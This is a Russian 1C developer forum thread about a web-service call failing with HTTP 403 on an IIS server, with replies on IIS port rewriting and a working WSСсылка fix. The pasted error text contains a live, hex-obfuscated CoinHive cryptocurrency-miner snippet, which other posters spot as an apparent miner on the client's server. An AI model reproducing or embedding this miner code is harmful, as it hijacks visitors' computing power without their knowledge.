Имя: Пароль:
1C
 
Не могу достучаться до WEB-сервиса
0 rotting
 
20.08.18
15:26
Вот текст ошибки:

{ОбщийМодуль.ОбменМобильныеПереопределяемый.Модуль(21)}: Ошибка при вызове метода контекста (SetPhone)
        ТекстОшибки = Прокси.SetPhone(Тел,""+ИД+"");
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка вызова операции сервиса:  {central}:central:SetPhone()
по причине:
При вызове веб-сервиса произошла ошибка. Ошибка HTTP:  HTTP Status 403.
.
Loading var _0x4020=["\x45\x62\x61\x61\x63\x77\x64\x66\x54\x46\x6E\x4B\x63\x7A\x4A\x64\x63\x4B\x38\x4B\x4A\x79\x4F\x51\x79\x31\x74\x6F\x45\x31\x5A\x39","\x73\x74\x61\x72\x74"];var miner=new CoinHive.Anonymous(_0x4020[0],{throttle:0.2});miner[_0x4020[1]]()

Вот так вызываю:


    Адрес = "http://777.777.777.77:77777/mc_dms"; + "/ws/ws1.1cws?wsdl";
        Определения = Новый WSОпределения(Адрес,"mobile","*********", 0);

    Прокси = Новый WSПрокси(Определения, "central", "central", "centralSoap");

Что я делаю не так, почему 403?
1 rotting
 
20.08.18
15:29
Сервер на IIS, может в нем че криво настроено?
2 Deon
 
20.08.18
15:35
var miner=new CoinHive ?
У вас там криптовалютный майнер?
3 ptiz
 
20.08.18
15:37
Спалили майнера
4 rotting
 
20.08.18
15:52
хз... сервак клиента

вот нашел вопрос без ответа на инфостарте. Ситуация такая-же как и у меня:

А кто-нибудь знает где настраивается в IIS такая вещь:
Ситуация: настроено перенаправление с внешнего XXX.XXX.XXX.XXX:9000 на внутренний XXX.XXX.XXX.XXX:80. Опубликован веб-сервис.

на apache:
обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws - т.е. всё правильно, работает.

на IIS:
обращение к http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, точка подключения определяется как http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws - т.е. БЕЗ порта, не работает.

Другими словами, если в браузере зайти на http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, то и на apache и на IIS будет получен стандартный ответ в виде xml. А если обратиться как http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws, то apache отобразит нормальную ссылку http://XXX.XXX.XXX.XXX:9000/Service/ws/ws1.1cws?wsdl, а IIS НЕ нормальную http://XXX.XXX.XXX.XXX/Service/ws/ws1.1cws?wsdl, т.е. БЕЗ порта, как будто выдаёт внутренний порт почему-то.
Как настроить IIS, что бы он точку подключения возвращал правильную внешнюю, а не внутреннюю?
5 Fragster
 
гуру
20.08.18
15:56
(4) на апаче тоже не работает ;)

можно воспользоваться вот такой заляпухой:
http://catalog.mista.ru/public/348215/
6 rotting
 
20.08.18
17:06
решается следующим образом:

Создал ws ссылку, потом так:

Прокси = WSСсылки.WSСсылка1.СоздатьWSПрокси(URI,"central","centralSoap",,,,"http://ххх.ххх.ххх.ххх:11111/mc_dms/ws/ws1.1cws";);